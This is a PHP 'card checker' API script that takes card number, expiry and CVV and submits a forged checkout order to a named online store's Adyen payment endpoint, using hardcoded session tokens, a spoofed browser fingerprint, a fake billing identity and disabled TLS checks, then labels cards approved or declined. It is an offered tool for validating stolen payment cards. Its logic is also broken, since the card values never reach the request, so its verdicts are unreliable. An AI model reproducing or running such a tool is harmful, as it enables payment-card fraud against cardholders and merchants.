<?php

if (!isset($_GET['lista'])) {
    http_response_code(400);
    echo json_encode(['error' => 'Invalid format Use: api.php?lista=card|month|year|cvv']);
    exit();
}

$lista = $_GET['lista'];

function parseCard($lista) {
    $parts = explode('|', $lista);
    if (count($parts) != 4) {
        return ['valid' => false];
    }
    
    return [
        'card' => $parts[0],
        'month' => $parts[1],
        'year' => $parts[2],
        'cvv' => $parts[3],
        'valid' => true
    ];
}

function getBinInfo($bin) {
   
    $bins = [
        '4' => ['type' => 'Credit', 'brand' => 'Visa', 'level' => 'Standard'],
        '5' => ['type' => 'Credit', 'brand' => 'Mastercard', 'level' => 'Standard'],
        '3' => ['type' => 'Credit', 'brand' => 'American Express', 'level' => 'Standard'],
        '6' => ['type' => 'Credit', 'brand' => 'Discover', 'level' => 'Standard'],
    ];
    
    $firstDigit = substr($bin, 0, 1);
    return $bins[$firstDigit] ?? ['type' => 'Unknown', 'brand' => 'Unknown', 'level' => 'Unknown'];
}

function checkCard($cc, $mes, $ano, $cvv) {
    $time_start = microtime(true);

    $email = 'user1234@gmail.com';
    $firstname = 'John';
    $lastname = 'Doe';
    $street = '123 Main St';
    $city = 'New York';
    $state = 'NY';
    $zip = '10001';
    $phone = '5551234567';

    $encryptedData = [
        'encryptedCardNumber' => 'adyenjs_cardnumber',
        'encryptedExpiryMonth' => 'adyenjs_month',
        'encryptedExpiryYear' => 'adyenjs_year',
        'encryptedSecurityCode' => 'adyenjs_cvv',
        'riskData' => 'risk_static'
    ];

    function generateUUID() {
        return sprintf(
            '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
            mt_rand(0, 0xffff), mt_rand(0, 0xffff),
            mt_rand(0, 0xffff),
            mt_rand(0, 0x0fff) | 0x4000,
            mt_rand(0, 0x3fff) | 0x8000,
            mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
        );
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'https://www.drawelry.com/rest/v1/cart/place-order');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');

    $token_uuid = generateUUID();
    $token_value = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjZ2kiOjAsImxvZ2dlZCI6ZmFsc2UsImN1cnJlbmN5IjoiVVNEIiwibGFuZyI6ImVuIiwiY291bnRyeV9pZCI6IlRSIiwiZGVsaXZlZXJ5X2NvdW50cnlfaWQiOiJUUiIsInV1aWQiOiJmNDNiNjlmNy0yZDU0LTRhMWUtODAzMC1hZDU3YTllYWE1OWMiLCJ4LXZhcnkiOiIiLCJleHBpcmUiOjE3NTM4MzU4MjMwMDB9.6HXKWIX-Fpla5mhlKKnRvFoNR489CPqrqIda3ZMh_l8';
    $_vwo_uuid = 'DB561D896D13A029DBB98598F36A5ACAA';
    $_vwo_uuid_v2 = 'DB561D896D13A029DBB98598F36A5ACAA|666a45911ce0ab3f579805ae05c8aa29';
    $_scid = 'i1n-NhaiEHbg7MpogzCi_KRuurZ7h9U3';
    $postData = json_encode([
        'payment_method' => 'adyen_drop_in',
        'device' => 'pc',
        'adyenkey' => '10001|CB416919812EC5ACA088655B3B974D3F35BE5D7AB728466D53FBF6618DDE6AA20A6EB97749AAD36AC5A6A997D7198AFFF860F57A955F7F61F0BC0443E0AC3AB0F5270487AAFEF77EED987A30BFBEB451159E7C52CEE102969295BE17788C073CE15058A747A556CB1F41202B16A70A852302A236C04BB33AC8A732A630F72A2AEC31E446FAA1497EF730C93134E5C624E8C8CB5998DFE257884D76E511B6A2120335C5653559A8DF2BA67BCF67D40B7AAE6025D7A7FAACF967CBC5616AE433BBEA0A11943A39E65C8F9DD0BB2A25663E9C3F70B7C4E4A74E9BC5EA340F9C0C9D017D290E530B4D2A8F2564F85B12DE45E3318FEDEF9D469038C3DC5528E41D45',
        'token' => $token_value,
        '_vwo_uuid' => $_vwo_uuid,
        '_vwo_uuid_v2' => $_vwo_uuid_v2,
        '_scid' => $_scid,
        'token_uuid' => $token_uuid,
        'uuid' => $token_uuid,
        'tokenUuid' => $token_uuid,
        'order_token' => $token_uuid,
        'order_uuid' => $token_uuid,
        'additional_data' => [
            'riskData' => ['clientData' => $encryptedData['riskData']],
            'paymentMethod' => [
                'type' => 'scheme',
                'holderName' => $firstname . ' ' . $lastname,
                'encryptedCardNumber' => $encryptedData['encryptedCardNumber'],
                'encryptedExpiryMonth' => $encryptedData['encryptedExpiryMonth'],
                'encryptedExpiryYear' => $encryptedData['encryptedExpiryYear'],
                'encryptedSecurityCode' => $encryptedData['encryptedSecurityCode'],
                'brand' => substr($cc, 0, 1) == '4' ? 'visa' : 'mc'
            ],
            'browserInfo' => [
                'acceptHeader' => '*/*',
                'colorDepth' => 24,
                'language' => 'en-US',
                'javaEnabled' => false,
                'screenHeight' => 768,
                'screenWidth' => 1366,
                'userAgent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
                'timeZoneOffset' => 300
            ],
            'origin' => 'https://www.drawelry.com',
            'token_uuid' => $token_uuid,
            'uuid' => $token_uuid,
            'tokenUuid' => $token_uuid,
            'order_token' => $token_uuid,
            'order_uuid' => $token_uuid
        ]
    ]);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'Accept: application/json',
        'Origin: https://www.drawelry.com',
        'Referer: https://www.drawelry.com/checkout',
        'X-Requested-With: XMLHttpRequest',
        'Authorization: Bearer ' . $token_value,
        'token_uuid: ' . $token_uuid,
        'uuid: ' . $token_uuid,
        'tokenUuid: ' . $token_uuid,
        'order_token: ' . $token_uuid,
        'order_uuid: ' . $token_uuid,
        'Cookie: token_uuid=' . $token_uuid . '; uuid=' . $token_uuid . '; tokenUuid=' . $token_uuid . '; order_token=' . $token_uuid . '; order_uuid=' . $token_uuid
    ]);

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $curlError = curl_error($ch);
    curl_close($ch);

    $time_end = microtime(true);
    $execution_time = round($time_end - $time_start, 2);

    if ($response === false || !empty($curlError)) {
        return [
            'status' => 'ERROR',
            'message' => 'Connection failed: ' . $curlError,
            'time' => $execution_time
        ];
    }

    $responseData = json_decode($response, true);

    if (isset($responseData['status'])) {
        $status = strtoupper($responseData['status']);
        if ($status === 'APPROVED' || $status === 'SUCCESS') {
            $result = [
                'status' => 'APPROVED ✅',
                'message' => $responseData['message'] ?? 'Transaction successful',
                'time' => $execution_time
            ];
        } else {
            $result = [
                'status' => 'DECLINED ❌',
                'message' => $responseData['message'] ?? 'Transaction declined',
                'time' => $execution_time
            ];
        }
    } else {
        if ($httpCode == 200) {
            $result = [
                'status' => 'APPROVED ✅',
                'message' => 'Transaction successful',
                'time' => $execution_time
            ];
        } else {
            $result = [
                'status' => 'DECLINED ❌',
                'message' => 'Transaction declined',
                'time' => $execution_time
            ];
        }
    }

    return $result;
}

$cardData = parseCard($lista);

if (!$cardData['valid']) {
    echo json_encode(['error' => 'Invalid card format. Use: card|month|year|cvv']);
    exit();
}

$cc = $cardData['card'];
$mes = $cardData['month'];
$ano = $cardData['year'];
$cvv = $cardData['cvv'];

if (!preg_match('/^\d{13,19}$/', $cc)) {
    echo json_encode(['error' => 'Invalid card number']);
    exit();
}

if (!preg_match('/^\d{1,2}$/', $mes) || $mes < 1 || $mes > 12) {
    echo json_encode(['error' => 'Invalid month']);
    exit();
}

if (!preg_match('/^\d{2,4}$/', $ano)) {
    echo json_encode(['error' => 'Invalid year']);
    exit();
}

if (!preg_match('/^\d{3,4}$/', $cvv)) {
    echo json_encode(['error' => 'Invalid CVV']);
    exit();
}

$binInfo = getBinInfo(substr($cc, 0, 6));

if ($binInfo['level'] == 'PREPAID') {
    echo json_encode(['error' => 'Prepaid cards are not allowed']);
    exit();
}

if (strlen($mes) == 1) {
    $mes = '0' . $mes;
}

$result = checkCard($cc, $mes, $ano, $cvv);

$response = [
    'card' => $cc . '|' . $mes . '|' . $ano . '|' . $cvv,
    'status' => $result['status'],
    'message' => $result['message'],
    'bin_info' => [
        'type' => $binInfo['type'],
        'brand' => $binInfo['brand'],
        'level' => $binInfo['level']
    ],
    'time' => $result['time'] . 's',
    'gateway' => 'Adyen Auth',
    'checked_at' => date('Y-m-d H:i:s')
];

header('Content-Type: application/json');
echo json_encode($response, JSON_PRETTY_PRINT);
?>